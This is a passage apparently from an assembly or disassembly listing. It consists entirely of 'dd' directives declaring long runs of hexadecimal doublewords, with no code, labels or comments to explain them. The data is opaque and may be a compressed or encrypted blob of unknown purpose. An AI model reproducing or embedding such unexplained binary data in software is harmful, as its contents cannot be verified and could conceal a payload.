2C7D9561h, 2893E025h, 0DB988431h, 72ADCED0h dd 33F04801h, 0BBD85E79h, 884FB818h, 264BA41h, 833D2848h dd 456201E1h, 0D8DD871h, 47149D23h, 0EDE646A6h, 822D520h dd 100D8D29h, 54BD3D22h, 0C0372D16h, 2E00FC1Ch, 0CDD0A128h dd 0BC710B21h, 0CDDF6061h, 0C09160F7h, 3C505A67h, 3F2ECAA2h dd 3A606722h, 0F8BB3872h, 8E90049Dh, 9D83DBA3h, 0A848291Bh dd 0DE79268Fh, 9D71248h, 0E08BC900h, 0C0FBEDF5h, 667430A0h dd 2A9DB818h, 0BD0E2D50h, 2DE95D4h, 0B2A57066h, 0D4602D90h dd 0C906DD7h, 0D91AC923h, 21002356h, 3035A521h, 7FCD8E05h dd 55D19F0Eh, 9D310977h, 0A78570E9h, 0F5BD0473h, 5F17140Bh dd 86001A6Eh, 3D4CB49Dh, 9A3EC76Dh, 800F1334h, 7F3DBACDh dd 0D94C1353h, 41156D10h, 5F8339D0h, 5F4C27ABh, 1230A585h dd 3065A512h, 0EA6D13AAh, 0EC1E38EAh, 583094C0h, 9A532174h dd 880C2190h, 81000249h, 0C304F9DAh, 4678D077h, 0D7B81F5Dh dd 7C170B01h, 26949323h, 73BEC0h, 600AE4ECh, 14B18D33h dd 850F9499h, 1B69251h, 9A449600h, 5AECBD93h, 0CB15D300h dd 7303488Bh, 7143E84Bh, 2C6AA961h, 893739A7h, 0A740B00h dd 5016D42Ah, 0EBC5CCCEh, 4830C648h, 5E4920A1h, 0ED1FEABCh dd 78815C6Fh, 9E11864h, 42AD7Bh, 0FF60B6DCh, 0DFC9A0h dd 0A50DFE6Fh, 0AD6D734Dh, 0A8D65005h, 12C1578Bh, 31265EFFh dd 20D9951Ch, 0D0DF8102h, 0C9238441h, 0B87E022Fh, 0BEEBC303h dd 0DBA0F07Ah, 0C84000AEh, 292F77F1h, 5491959Dh, 4720B58Bh dd 631764D7h, 0E6F9D88Bh, 0D72BB2F5h, 87DBEB86h, 93DB1380h dd 6E09D0ECh, 70B6C610h, 0B58909A6h, 0FA340315h, 1F8D9537h dd 0F7AD686Ah, 7B9B05A0h, 230A8AE6h, 22B99C41h, 93CF2296h dd 0A4CF1688h, 6881C6E4h, 0ACC761CEh, 19E7F8A6h, 0C194002h dd 2A94E3DAh, 0C07BEDEBh, 65B79F10h, 60714678h, 5D2F9E98h dd 11E6AE0Dh, 20FD612Dh, 0D6F655D2h, 12AC03C6h, 5054464Fh dd 0B8A9DC5Dh, 0B03B0706h, 1995897Fh, 7EB99A1h, 5E33161h dd 0D3CB9B40h, 55953A80h, 80151FA6h, 2E6D27DFh, 0C0B122C0h dd 9DB700C7h, 8A14507Bh, 0C1008BCAh, 1C8F4FEBh, 3ABFA25h dd 0DAC6A108h, 0D4D0A4ACh, 0E4E25CD2h, 340ECEE0h, 0A11BF531h dd 0D129B327h, 0FDD5BE4h, 17E62AC7h, 87DF9E9Fh, 0AA6DB67h dd 87007C01h, 2352DDB4h, 0E19ED920h, 28AFE911h, 717E50CEh dd 552F0594h, 133D59B9h, 0D5A884B8h, 0C20903C8h, 44BAC704h dd 0DC76718h, 46AE2C32h dd 0EBC00323h, 7D02BD81h, 14D560E8h, 0DD8BB99Ch, 0D9C5F522h dd 0D0311364h, 9D8D0004h, 0BBB55E0Eh, 8A119868h, 0B45B1A10h dd 0E03AAD8Ch, 1699AB9Fh, 0C15FB901h, 0E18589F8h, 66A8C5B1h dd 8D04ECBAh, 1B34F6F8h, 0DB841818h, 7150CC49h, 8B579FAAh dd 1CE25FD7h, 1B5D9282h, 88B3400Ch, 0C400D281h, 505E0C76h dd 33D61CBAh, 60376EC5h, 0F8D907C8h, 0F56A2D62h, 89610018h dd 6F9E359Dh, 6D4BFF1Fh, 802CBD09h, 0DB6D34Dh, 8B69976Dh dd 0DD034123h, 23E2BD08h, 0DE853FA0h, 99CEC2D2h, 4DC11888h dd 0C2F5FE14h, 89086020h, 0B9222060h, 8D7F73A3h, 194DFCC4h dd 71386D14h, 0F2889141h, 2880F0Ch, 0EC488A49h, 197D121Ch dd 5ED09333h, 0DA6BFB1Fh, 0A96B6600h, 0B529EA3Ch, 3B78BD5Dh dd 45858856h, 0B65A052Ah, 0BBE3EE10h, 4009E824h, 0D49AA7D2h dd 927EBA3Eh, 50F10F94h, 97D68430h, 44123B84h, 5A803F64h dd 0E639C177h, 732B3867h, 6F86BBBAh, 36301596h, 0DA400897h dd 0A93D3C4Fh, 6018F7D7h, 0BF58615Dh, 81407A7Eh, 6BBC0DAh dd 0B5FF5BACh, 3109AFD1h, 100BED85h, 5F80DB53h, 0FD6EAF17h dd 157ECF2Fh, 0B999013Fh, 0BD89E988h, 0FF23E8CEh, 28667CD0h dd 84E4CBE2h, 0DDF950D6h, 1C1D4345h, 0F72F0132h, 920B2437h dd 0B164C1h, 0B908C243h, 11F86549h, 0B503800h, 1CA13CCEh dd 5F895E0Fh, 81660266h, 0B3823AC7h, 81449509h, 549CF18Eh dd 0C7AA6C45h, 0A4A7A620h, 74702F00h, 68854999h, 0B67C1663h dd 1ACF08F6h, 6FB26092h, 44A0E400h, 89E25E7Ch, 0D9299100h dd 0C59E90CDh, 160200ECh, 816198BCh, 0C9E62434h, 0A07CB92Eh dd 231B2908h, 0DE8224E6h, 0EE108601h, 0AB183E06h, 22D55C89h dd 0E4820814h, 0E84E105Eh, 8D24BB08h, 5A5042C2h, 74DAF288h dd 33001846h, 0E0C819B7h, 1090CE8Ah, 46BD09AAh, 2AA9D100h dd 3CBFA1F1h, 88495803h, 84DD098h, 0C3BEAFB1h, 7A0AE22h dd 60490EEFh, 8A568000h, 0B368EEh, 528B5CDFh, 405ABB60h dd 0E0578427h, 4C5F6102h, 8605E981h, 4848C28Dh, 457215DBh dd 6019C44Eh, 25EC9734h, 306074F4h, 0DAA5142Dh, 0F7803429h dd 4A8C12A3h, 898B006Ah, 27F6C4A8h, 0E800465Bh, 0C5FEF7B3h dd 289B15BAh, 0BBE33FB7h, 0E18271A2h, 9DDF303Ch, 0E5040F41h dd 0CA81AF20h, 7C9015B3h, 6C8BA92Eh, 60F26DF7h, 3F3836B5h dd 802CC239h, 55C1F068h, 0B98F0FEBh, 9B8245Eh, 0B7826160h dd 9F625951h, 0B173A8A3h, 4A6030FAh, 0F6BDAFF4h, 3C374992h dd 0D47FACBDh, 0F173D11Fh, 130D8C7h, 0E6F4BD47h, 89732947h dd 3C68B72Fh, 87814D7Eh, 7AE6800Ah, 32E2179Bh, 0C8D22139h dd 19FEBD35h, 0A6BE5648h, 2A4D0993h, 494A5794h, 9F80639Bh dd 30526748h, 6400D675h, 0EF1704B9h, 5696802h, 8ABDB7C8h dd 80A641F5h, 4A31A2E1h, 3FEF5FA2h, 0B48400ACh, 626CAF55h dd 0BF8802B0h, 2F8CA129h, 495BA1B2h, 2B8D470h, 726BB16Fh dd 0D783F99Fh, 0B15831BDh, 6C2C14F7h, 952B04C9h, 6188082Dh dd 62151B9h, 0F24C009h, 6A03002Bh, 6CEA8004h, 5E12A968h dd 0FF41CAF4h, 350BB157h, 85083E37h, 162C0E15h, 7A30026Dh dd 5EBA156h, 0CAA7B910h, 5A756102h, 0C4B8B250h, 0ACA69EFDh dd 0CA8A04C6h, 914E8959h, 8B09026Ch, 1BDB58CBh, 7A2B5F70h dd 1F5D0C0Bh, 0DDB892EDh, 95B02195h, 0ED7F3055h, 466ECD3h dd 725F940Ah, 3D90C16Bh, 765E1619h, 0DE37941Ch, 0C4EE3E06h dd 0EDB6216Ch, 0BF0F1929h, 0E62DC7F9h, 0C59F2813h, 39180A29h dd 801545E0h, 111EDE68h, 0FBD5832Eh, 0EE2205ECh, 7C2E7CD2h dd 38001C23h, 66805B19h, 0CE711403h, 9013D48Ah, 0A3A352h dd 0A12149BAh, 9D505902h, 0E04EF010h, 74CB600h, 8D39F0Ch dd 95291790h, 0B02D2CDh, 0EDE0904Dh, 30D329BBh, 6C90DC12h dd 952A2351h, 5F48F5ADh, 0A7BB29C2h, 4228E17h, 196A6152h dd 50291CEBh, 0F88B4B60h, 0F78081D1h, 653C7276h, 1794E47Dh dd 306159E0h, 473DEEA7h, 48A2FC00h, 0CFD71EB0h, 0CD833CE3h dd 918B61A5h, 98C5B8CDh, 455DBAECh, 197D950Bh, 1E0246FFh dd 80A87921h, 0DAED976Bh, 8D1AD8D9h, 13F0C5B5h, 88F1F315h dd 29313DEh, 8CCBD884h, 0F29010E8h, 0A903E1B8h, 0B4DD571Ah dd 15CA80Ch, 3FAF12FEh, 0E92E04F3h, 4FED1003h, 0DB5F6D20h dd 9E1FC4Fh, 893F9A28h, 15BAE8Ah, 8A5150C9h, 5F3039F0h dd 4796BABh, 0CD5A8F0h, 1D2173BCh, 1A181CF1h, 2A458E00h dd 930C5B65h, 7144B84Fh, 0B529800Dh, 13A0A94Dh, 6A0EC00Bh dd 7F9E1647h, 0E1970F80h, 0B35C6C0Eh, 6E9A456Dh, 46015E6Eh dd 2F96F914h, 6BF73136h, 74451220h, 3533011Ch, 942126E7h dd 19F17FCCh, 2B15DB01h, 0EEB56207h, 7D7DCFC6h, 5DBD19C4h dd 3F469FA4h, 71A53120h, 607635CAh, 0C8404CDEh, 8E82BE00h dd 8F8592FDh, 5FC6890h, 960DC82h, 0E2B74E6h, 0F9C9746Dh dd 0FAE3458Bh, 1A51B8F2h, 81017E32h, 0B51244E9h, 11E23871h dd 0F8442229h, 9E465E84h, 14FFC309h, 19A390A0h, 1FF62FECh dd 606092F7h, 50C5CFBEh, 0BF07DE29h, 4F601F74h, 0E057875Fh dd 95891333h, 5996C04Dh, 20707E80h, 31F1A0CDh, 84915643h dd 27BF6000h, 0D58A889h, 0E4D32AB1h, 58DCA0BEh, 0C84A6BFDh dd 0EA4C85C1h, 31828F9Eh, 1928A26Eh, 150E5618h, 0E95A8011h dd 0BD014E27h, 12B60F62h, 0FE60E6A4h, 0B6AAB912h, 4540B001h dd 708248ECh, 0CF14FD19h, 4A542FB5h, 0ADBA0840h, 125369E3h dd 62F75550h, 267D6480h, 42D8B502h, 0DC265E9Bh, 505E2206h dd 9597EE8Ah, 9A01FC37h, 0B531B6DFh, 0B27EEAC6h, 0CB6684h dd 2B67E54h, 0CDB17908h, 0D88BF801h, 0C0B46056h, 7100F233h dd 0F97A261Eh, 5F13A90Ch, 22045961h, 580B2279h, 7D704AF3h dd 81F95BD7h, 153384CBh, 0E90931FCh, 0A2F3057Bh, 7FA0A8D0h dd 93DD1D58h, 473D6AEh, 91958D0Fh, 89388054h, 50CB856Ch dd 0A0C6A66Fh, 52B1404h, 59FC6FEEh, 765C14E9h, 0AB54BD39h dd 8448505Fh, 570540E5h, 59715171h, 9D933BFAh, 0FE43669Ah dd 0AA06DCD0h, 79FDDF27h, 1DA12870h, 0AB5C4A62h, 14297288h dd 0F04D9BDh, 0A9E22F31h, 0F6FB05FFh, 0E030B3CCh, 2C1A7FD2h dd 80F5638h, 40122365h, 6D00F16Fh, 9E75C9C6h, 0A4AD180h dd 2620A68Dh, 482D4E25h, 8461F21Dh, 0FCC201B7h, 0FB16DE3Ah dd 68D011F3h, 17DA21B9h, 3160310Fh, 0E8DC76E8h, 2C1F7748h dd 0EDC098A2h, 33BE0284h, 82B80666h, 6C5A61ADh, 8673D1A2h dd 39373070h, 0BF170B3Fh, 4E108903h, 0C01A880Fh, 0C7B2933h dd 4CFBB30Bh, 0EF8C160h, 699D8900h, 611C5092h, 0B7A75090h dd 156F005Dh, 0D6806B0Fh, 3A675858h, 77F026F1h, 0FEAABF00h dd 175069F8h, 88870F60h, 0AFA6E173h, 44C58600h, 956F7C83h dd 695102D0h, 9FCEEC31h, 36969752h, 5C292313h, 27118C02h dd 79FA508Ah, 8D006D53h, 3EF9ACC3h, 13F6D829h, 30AE9993h dd 95B00573h, 37043B70h, 5F977D0Fh, 0F6D860C2h, 0A004DC00h dd 58563BD3h, 64CE55C2h, 0F40E5860h, 0D93AE1C0h, 5DD419E9h dd 6EC10937h, 642747C6h, 37A0601Bh, 7F7E00AFh, 8A8C9461h dd 0FB2E8BF0h, 0F6DE9E58h, 0C85C0013h, 275809CDh, 572504DDh dd 61094A66h, 1E051F1Fh, 2CD0DD1Bh, 24E10875h, 2D8D3105h dd 1E6A42D1h, 6DF6E2Eh, 1909CC8Eh, 2A212270h, 5CB86CBh dd 5CFDD585h, 77279EBCh dd 0B264B2h, 286687C8h, 101CA3A9h, 0EBD82405h, 3AB4E860h dd 6E201CD0h, 5C00BAA0h, 7D87E547h, 0C700A55Fh, 0A1622F02h dd 5CF78B8Ah, 3841ED5Eh, 0AE21202Fh, 85000523h, 4748FF78h dd 163C181h, 512019DFh, 2661A5D9h, 8D8B066Ah, 0A2F601CDh dd 80D149h, 49857C21h, 640071F9h, 69185C83h, 219DDDAh dd 2DCBF7D6h, 3F4458FCh, 95294180h, 2481F54Eh, 427ED9E9h dd 26118D83h, 880F5001h, 2636D9D6h, 10C607Dh, 7F164C0Eh dd 40C2592Fh, 64776D5Fh, 0D34C601Ah, 94AE0527h, 20E8E113h dd 661CD9C9h, 88906707h, 0E610D686h, 3959F9FFh, 5AF8509h dd 0E4EA3D2Bh, 0E4DC70DEh, 0A48E028Bh, 0A045BC39h, 845CC50h dd 5BB75820h, 447A84D0h, 0AB1BE2D0h, 14232D3Bh, 0C9FC9D09h dd 0BF2AAD21h, 5900647Ah, 6612F17Dh, 3C2FB0BFh, 0C0284D61h dd 5E600F84h, 0CC203E17h, 0B1044808h, 683C6E5Ah, 0A601C831h dd 2171081Eh, 0BFB3E90Bh, 98350061h, 60ECD01Ah, 0B4404B9Eh dd 26F904h, 21208993h, 8A60E28Eh, 0C01AD058h, 96864838h dd 0AB2C00EEh, 0E19131D4h, 0DB3417C0h, 0F68C0261h, 89A3F73h dd 76C21983h, 8D892957h, 0B5C7831h, 0BF1CC681h, 0BD420421h dd 20A2F885h, 61E91615h, 0A0EDA7F8h, 94C9D8Eh, 8B30FDB4h dd 2B80BE89h, 0DA9168CBh, 0F77CD63Dh, 0B03C59BCh, 0E280125Ah dd 2595B8A2h, 0C75514C9h, 6214C4BDh, 3517E184h, 9EFFB974h dd 1E8B4A13h, 59DF7FD6h, 0C3452A86h, 12180D53h, 1A228A0Fh dd 0BF17C0F9h, 5AFD4CABh, 0EAB79777h, 55F67201h, 5120DCB9h dd 0CD744BDEh, 0B8B07D69h, 9FEC0E10h, 0A10275F3h, 0A3794038h dd 2B5B7A00h, 711B67A7h, 0F9C2C239h, 47C0AFF3h, 3216B4BAh dd 0E50A5650h, 8726AC6Ah, 5552FA16h, 0C85F97E3h, 0BB00EF55h dd 0DE5E8023h, 34709E2h, 0A6D23F48h, 90E9C2D4h, 0E6207F60h dd 34D7658h, 2A41A9C6h, 19708B0Fh, 0AFB85A01h, 61599E3Ah dd 2D6C660h, 0A6A8BF90h, 0D2825688h, 690831ADh, 69A9BE80h dd 1D051F9h, 0C2F707DDh, 3A42DBB4h, 0B9858402h, 13F5082Fh dd 0A287A7C8h, 0C2BD3575h, 808BDAD3h, 76FF8613h, 527E04EAh dd 9B5FF58Ah, 0F8D6C00Eh, 0AE73268h, 0D41592ADh, 0EED01AEDh dd 0D6935655h, 58F2F4BFh, 294E4585h, 4C059B13h, 0F1B0D1BDh dd 4AC2585Fh, 55B5310Bh, 9D0985A0h, 5D9518E1h, 0A8913891h dd 0D203A1Dh, 0A8CD971Ch, 8D6028C3h, 2058F186h, 61481BE1h dd 9A913EEh, 3D2DA4A2h, 0C0BA24E1h, 0F01B0E10h, 0B14DEA81h dd 60FEC283h, 8331F548h, 0A238FFCFh, 50812F9Eh, 0D7F2A87Fh dd 0E8E6CCEFh, 2B5805A0h, 0F01AC264h, 8166ABC0h, 5A4D2538h dd 1BB465Dh, 33C50B7h, 0D93A81D0h, 0D519AF45h, 0AC2D8326h dd 0D95AD0B2h, 10C86093h, 0D24F9D0h, 4F3C4003h, 0D1C229DFh dd 0C4FA3CB7h, 619A912h, 0C35BF805h, 0D1030C1Ch, 2B21201Bh dd 2A08DB4Dh, 0BF834912h, 0C65206D4h, 0FF82F1h, 0A98110CFh dd 514A3B0h, 0C03359B5h, 32F7FEC3h, 0DEBF2422h, 0DD7AC99Ch dd 56D59A95h, 915A69AEh, 66F008D2h, 0D3EBCB05h, 0B12E8FDh dd 36330087h, 6AC8539Eh, 0CC260E81h, 1D114889h, 12CB6028h dd 8953F8D1h, 7831FC7Eh, 0C8ECCB00h, 50C17CFDh, 9FB204FAh dd 0BBF7B539h, 890F4503h, 0FC330201h, 5A43C781h, 33C1ABA1h dd 13472BF6h, 0BB60370Ch, 17817F09h, 18C0A7E9h, 77E87C5Eh dd 0F104117Bh, 670B925Ch, 98A6ECABh, 8D11C18h, 14E96F39h dd 0D41E00BBh, 0D0022EFAh, 58CB03A4h, 1FA5A7C9h, 0F8BD8790h dd 51A83900h, 8F6FDF80h, 0FC370004h, 0EE81FD8Ah, 0C2244606h dd 89027D64h, 0E13350A6h, 19890229h, 0A4488F0Fh, 2B90F960h dd 8161CB01h, 0FFA670FEh, 8F6241C6h, 0D10F4622h, 67E3E9C7h dd 17F8014Fh, 370023E7h, 438ABFDBh, 0CC82EB3Ch, 0C3211909h dd 78DB2E00h, 4BBB103Eh, 7E911DD5h, 0FBEE4068h, 3C5CB772h dd 863C05EAh, 804E3FD8h, 0F33498C5h, 0F6E71Dh, 63A49B07h dd 3ED2BF5h, 0B7211301h, 9FD885D0h, 718AA20h, 51848AE7h dd 954E6E01h, 2E523AC0h, 0AE037CEDh, 5C80BF63h, 0A2172F9h dd 6B2F14DBh, 532B7820h, 6AF8C88Ch, 0C2DB36C0h, 223B468Ah dd 2DC0001Eh, 6F0D1BDBh, 9C1CD7B8h, 7EC0EEB2h, 3E714A8h dd 541600FFh, 846352C2h, 15007D35h, 198F3EE8h, 0C0E4D76Ch dd 0C1BF88F0h, 0F77234E1h, 7D04F10h, 606D9064h, 23C5DB39h dd 1B11138Ah, 0DB30077Dh, 41CE9EE6h, 800A6AFAh, 36E20348h dd 1EEEC1D8h, 40A0B8B1h, 0D87C4C6h, 8B006C2Ah, 17ECA984h dd 18E77201h, 0C11BA6D3h, 4073BF37h, 27AB911Eh, 23099959h dd 0B7572180h, 2FA5FC40h, 8E654D00h, 0CD9B6056h, 0A26C1841h dd 18252810h, 0FE6BB81Bh, 60DFC0A8h, 87DB052Ah, 19080B54h dd 80F308DDh, 2A694021h, 249D87E6h, 1F141894h, 0F02E06D1h dd 170078EAh, 63BDD907h, 19E2E070h, 8C8681Bh, 0AA2180FEh dd 0F562BDD0h, 698F0AD4h, 80940B50h, 722C875Dh, 0F90F9481h dd 863A3863h, 0A21066Ah, 0EA715488h, 6CF00688h, 7009180Ch dd 1308BFh, 0E89D8864h, 4F4CA715h, 494880D1h, 1465F799h dd 0F806D84Fh, 1BA2BC53h, 0ACC4030h, 6AE3AFEFh, 799F40A0h dd 0DA00859Eh, 53992562h, 4370CAh, 5B1B21B6h, 17BA729Dh dd 2E78C8C4h, 0FD233Eh, 316DDFE6h, 29003D99h, 0DCC77C7Ah dd 294F0F85h, 0D16C026Ch, 687181Ah, 717491E3h, 8C20A863h dd 55680006h, 0E0F1EF8Ah, 0EE60CEA6h, 0B7A49290h, 0ED2C2401h dd 0E9F90AF4h, 749302E0h, 0B440F4C3h, 1F487A6Bh, 0C3BC8848h dd 87992A64h, 88F61874h, 2A1D6D44h, 49801892h, 0EB051F48h dd 2989100Ch, 50680CE7h, 0DAC10Ah, 39C9A5D1h, 0F7E6F3A1h dd 5061C812h, 539D3020h, 0A2DF3C8Fh, 0CF6C9006h, 213B80Ah dd 50433974h, 4004B0F0h, 8C32CC30h, 67BDDD0Eh, 66E30870h dd 0AE043101h, 870CBDD4h, 0C515F580h, 940A1802h, 0BEE841EDh dd 641DC824h, 1113D842h, 9DE1831h, 0F87066BDh, 0AD00001Ch dd 45D7BDD5h, 0A09D0A63h, 20BEEA30h, 0CE1F33B0h, 32E038C4h dd 0E7DC644Fh, 1544B467h, 0FA3DDE60h, 68A07D1Dh, 0CB209C28h dd 0E350DD0Bh, 0C4DB3C01h, 58632B8Ah, 0DB33C680h, 0F64C52B7h dd 0C2047391h, 0E51FA413h, 7FE31480h, 7CF303D0h, 0C99C3504h dd 5068F0E9h, 0F88770E0h, 21E03A60h, 0FF6C6593h, 2EF21424h dd 2930BDEh, 38CA2F4Bh, 1EB38BC0h, 0E0B0170Bh, 558C00A1h dd 3EC0F42Ch, 38E0326Bh, 1FD0C4E8h, 8F1094A0h, 0D0A4A873h dd 29348021h, 18027104h, 71A500DAh, 7060A225h, 100C6AB1h dd 60177C9Fh, 0FCF03A38h, 7400306Ah, 3B7AFE46h, 31058A26h dd 1FAF784h, 1D8C32A0h, 9164200Bh, 50EB6C38h, 0A7187BD4h dd 9840ECE6h, 1B8E0B35h, 40032182h, 30240915h, 8A4024F1h dd 19DA638h, 0B85D635h, 2204444Fh, 16E2320h, 8AC6DB3Ah dd 0F84E1Bh, 60DB31C4h, 1CE846C2h, 42684211h, 3BACB770h dd 913A8480h, 0DE4D6784h, 18081014h, 4665360Fh, 7B57AFC0h dd 24B0F3C2h, 0F321444h, 9A287DF9h, 0E527A960h, 0F4014434h dd 0B819408h, 804038DBh, 912BFF57h, 181AD954h, 5F17579h dd 0A72E0D12h, 71A04246h, 0D4CCD0E7h, 3640C204h, 2262C391h dd 40BA5A20h, 0E01A1C60h, 269E9D08h, 13AD0594h, 0C8FC8E18h dd 0E3D2C025h, 0E0008DE5h, 0EB2445F3h, 288F72ACh, 3DAC3470h dd 5850FEA7h, 0C1058CD1h dd 0BB913540h, 593028h, 7DA940B9h, 4D707F6Eh, 8A197409h dd 0F0C002D6h, 0E4040938h, 2A6260BAh, 648723D9h, 3E0FF211h dd 0CFAE2A6Bh, 98B3CCA6h, 2E647C85h, 0F1F3167h, 0FC48256Bh dd 1B003066h, 9D17975Eh, 24A5885Ch, 13DC2064h, 8FC25A1h dd 35C06900h, 468AC1DBh, 0FA1F2233h, 3FDB002Ch, 7C636B07h dd 0DA1DC3B8h, 5D8B8B9Ah, 2A7020F4h, 61CD5489h, 4FD910EDh dd 888C4E08h, 0D19CC3F4h, 808EE880h, 0B70214Dh, 17EA490Fh dd 801F91E0h, 7B540F75h, 19B2021Ah, 0CC844C9Ch, 4B5C6541h dd 0C1F88850h, 0CC2CEF31h, 6801B655h, 0FC9BABDh, 91C43913h dd 0C8284C03h, 747D6002h, 6C47155Dh, 806524C4h, 0D568EA5Ch dd 1DF90C00h, 0BE519280h, 7D4304A5h, 0C2953633h, 0EC42DFA2h dd 1B11EC1Dh, 7CA0C80h, 6C242987h, 0EE832405h, 0E8E5DAC7h dd 681D279h, 8BF609D8h, 0A322101h, 6017A99Ch, 3216F578h dd 0C590967h, 2100BC63h, 0F176687Dh, 0C27049h, 2C9CC602h dd 977484D1h, 0A0915476h, 6580BD11h, 8C87DE2Ah, 41FB448Ch dd 852A6E0Eh, 2E7E8031h, 4F97934h, 60958851h, 7078812Bh dd 0BE58911Ah, 0DD2A6680h, 448C8487h, 6F0142F7h, 0A1FD8C2Ah dd 5AC89288h, 5E8096EBh, 0F77E1F46h, 0CBEC28E5h, 9AA7D90h dd 0F525748Fh, 9C457062h, 5E6025E4h, 7400BEFCh, 4FB61FEDh dd 25103377h, 8A2D487h, 8381CD22h, 4207A991h, 6130B980h dd 87DA102Ah, 6A3DE06Ch, 992072Ah, 40F8BB27h, 8C8960CFh dd 0B850DFE5h, 74A5738h, 0EC557044h, 0EAC9910Fh, 0C665B04Dh dd 0CAFCCA00h, 9DD7ED3h, 1C3D8B74h, 2E20465h, 8DE01B04h dd 0F5E227B9h, 0B0598132h, 0DA8EA2Bh, 0DC32A9E9h, 93C0E8F7h dd 0B11FA6D6h, 15CA000Ch, 2E19C16Eh, 0C6D38612h, 53182C14h dd 3019A2C4h, 731EA8D3h, 62D9F166h, 242C43B8h, 0D0EF6B15h dd 0CF4C9D02h, 0DCF8C96Dh, 6C836F00h, 3E32BA5Eh, 0C43853B9h dd 543014E2h, 3497098Ah, 7C2B7172h, 18919097h, 129D69Eh dd 8F0E24F7h, 90C460D7h, 128C3240h, 181AA0ADh, 291418D0h dd 0E0598282h, 91DC4C09h, 18FC71CCh, 0C4293C88h, 1A494A4h dd 0F16FD63Fh, 9B2024F5h, 0A2CABC00h, 0BFFD8693h, 93C65C84h dd 0F1B8201Ah, 1844E8C7h, 0E5756660h, 6D2B460Eh, 0DFA50515h dd 8EFA6BC0h, 0B10D7074h, 85D41100h, 0F8C240C6h, 44F84CE3h dd 0BE045E21h, 0A213FE40h, 7275C7C0h, 0A1F0904Eh, 0DF18348Ch dd 7065BD1Eh, 0F9016A5h, 0F7BDD6ACh, 984DE760h, 6C995038h dd 0E0181EF9h, 0CEB3C901h, 4628D616h, 249442F4h, 0A9C439F1h dd 3FCD0DCh, 0D4610086h, 2ADAB082h, 70F827B3h, 0C791061h dd 8C501E7Dh, 588F6C90h, 688078F8h, 2A50BF72h, 0B420A094h dd 9B78D893h, 4F7B0ED9h, 45010F69h, 68830D57h, 0E46C89A0h dd 915C3ECCh, 1054595Ah, 0C4360D79h, 5129E3F0h, 6C2F2E13h dd 0A0A4A0D3h, 1301A2h, 4296683Ah, 0AF758C57h, 0BFA8DB1Dh dd 0ABC0C480h, 727E1Fh, 0C8E1865Ah, 0DCAD99DAh, 5A83348h dd 23ECB6F2h, 28BE900Dh, 96DD85C8h, 0FB465EB4h, 8DC9F24h dd 90BD1688h, 587C2178h, 0F5E8E444h, 0B964008Ch, 0D91E60D4h dd 24B950F7h, 0E0C4310Eh, 89FCF474h, 47780A37h, 10F86ABAh dd 8CFF0B48h, 41B86EF0h, 5790841Ah, 1C88EB40h, 8ECF4043h dd 9EB97C00h, 3A070116h, 72365BD9h, 56052FFCh, 465A2038h dd 0A2F0539Bh, 3ECC302Dh, 618F7039h, 0F3970AD1h, 88F6B851h dd 2E70B872h, 436C989Dh, 0E48D1487h, 78F07464h, 7EC81752h dd 0B44F1A40h, 0D2EC8004h, 0DE8EB45Eh, 3FCE890Fh, 406F8887h dd 8017C88h, 0B767A0A0h, 142CD324h, 490A5D01h, 802985F6h dd 0C12BA719h, 5F2AEC36h, 6E0D5200h, 1AA9C85Bh, 73E400ACh dd 0DDCA7670h, 62583644h, 3C031E3Ch, 3A9097FAh, 648EF824h dd 30040184h, 9DA90D99h, 6260A250h, 2CBF1A48h, 530B22Eh dd 0F73E0E9Dh, 7F302E1Dh, 67053A8Ch, 25FF4F9h, 6342B35Eh dd 0BC8EBF81h, 3374464h, 0F8F12Fh, 0B3DE6059h, 0B92CF5FAh dd 93785900h, 9FA75A40h, 0DA0F2A89h, 2F90C880h, 60BDDCC0h dd 68C85C70h, 0BDD3A7E0h, 3B081D00h, 0DFA6A372h, 5473F875h dd 916BDC12h, 30E50110h, 0CEB97AF3h, 50B48861h, 0F67836B4h dd 0C3B6BC00h, 81667B92h, 485098C8h, 2CBC5871h, 74AE488Ch dd 0ED8C2A04h, 778C0F0h, 0F44FF37Ch, 1E232C3Bh, 5A0A9A00h dd 46F9CAh, 0D3B88127h, 8F66C709h, 81048C39h, 84910115h dd 689DF177h, 3758632h, 38008018h, 0D8FB59D1h, 9862FEC2h dd 2ACC2010h, 6C2617E0h, 0F0A648DEh, 0DD7300DEh, 0E2F9F94h dd 72765934h, 641ABC24h, 0A5A200BAh, 93B849C8h, 7CC70721h dd 50A82F3Bh, 0F9F1C288h, 1B2DF8A8h, 0C874E3F6h, 0EA791300h dd 0E6649799h, 30B005BCh, 420B451h, 0A4083BA8h, 126171B0h dd 0FA4F1E8h, 44F488Ch, 7F3FDEA1h, 478C9F5h, 330CB770h dd 3E0A8488h, 0A84CF296h, 7685C0DDh, 8EA39840h, 4CE8D800h dd 20E3B73Eh, 5BA617C7h, 222490A8h, 84FEE243h, 90AEA100h dd 6648085h, 778104C6h, 8FC8410Dh, 3FBC46Ch, 80F68F30h dd 303D04B1h, 9B07916h, 0BBC00A8h, 7443949Ah, 8A01F088h dd 5C8901A4h, 3C20EEA9h, 7CCB1A67h, 0EC7340D4h, 0F164D0h dd 0B26BCD46h, 0B4694CD3h, 32019A01h, 0E48ACB63h, 0F4163043h dd 8298C8h, 0CCDEB5B2h, 0EF6C071Bh, 0C03BDD4Eh, 6A021423h dd 4051DEA7h, 8016B0DCh, 0B8BC0725h, 5C300DCh, 49A2DACCh dd 0CD169A28h, 8040778h, 34F87F6h, 290CAD8Eh, 7E445018h dd 91541232h, 69380104h, 0CD314D67h, 0FE90E797h, 0B50188D7h dd 5C30D8FCh, 0C440F2E9h, 220CC844h, 0C204E47Eh, 6AB6EFF7h dd 9D173CD0h, 0C5861D4Ch, 4430AD9Ch, 0C95D8C8Ah, 2893039Ch dd 0D18860Dh, 84FD849h, 2EF138h, 0A9D74CDh, 0E3A3A44Bh dd 0C7833EB8h, 0F6438493h, 0A6821000h, 0CF7383E7h, 6B381A92h dd 0CC805103h, 9D86407Bh, 5823FC2Eh, 0D87E5A80h, 5D548AEEh dd 31062005h, 50EAD37Ch, 3FBF803Dh, 9B0A9322h, 84F6F821h dd 57C7072h, 3C6B46C7h, 42080118h, 81018C89h, 81469351h dd 0C04319A0h, 0A7292748h, 336A2420h, 0AE011C60h, 9B39CEB2h dd 44747B8Ch, 9A0A187Dh, 5C7279E9h, 0FC22F0B0h, 0B60E4423h dd 8078923Ch, 0CD52F0BFh, 19FCED7h, 30E237F6h, 8AFE8F6Ch dd 982DD850h, 58C1B717h, 0B848A7DCh, 679C0994h, 0E49D2FBFh dd 71801591h, 0A4930F1Dh, 88E3A724h, 0EB7C0640h, 6A10C6EFh dd 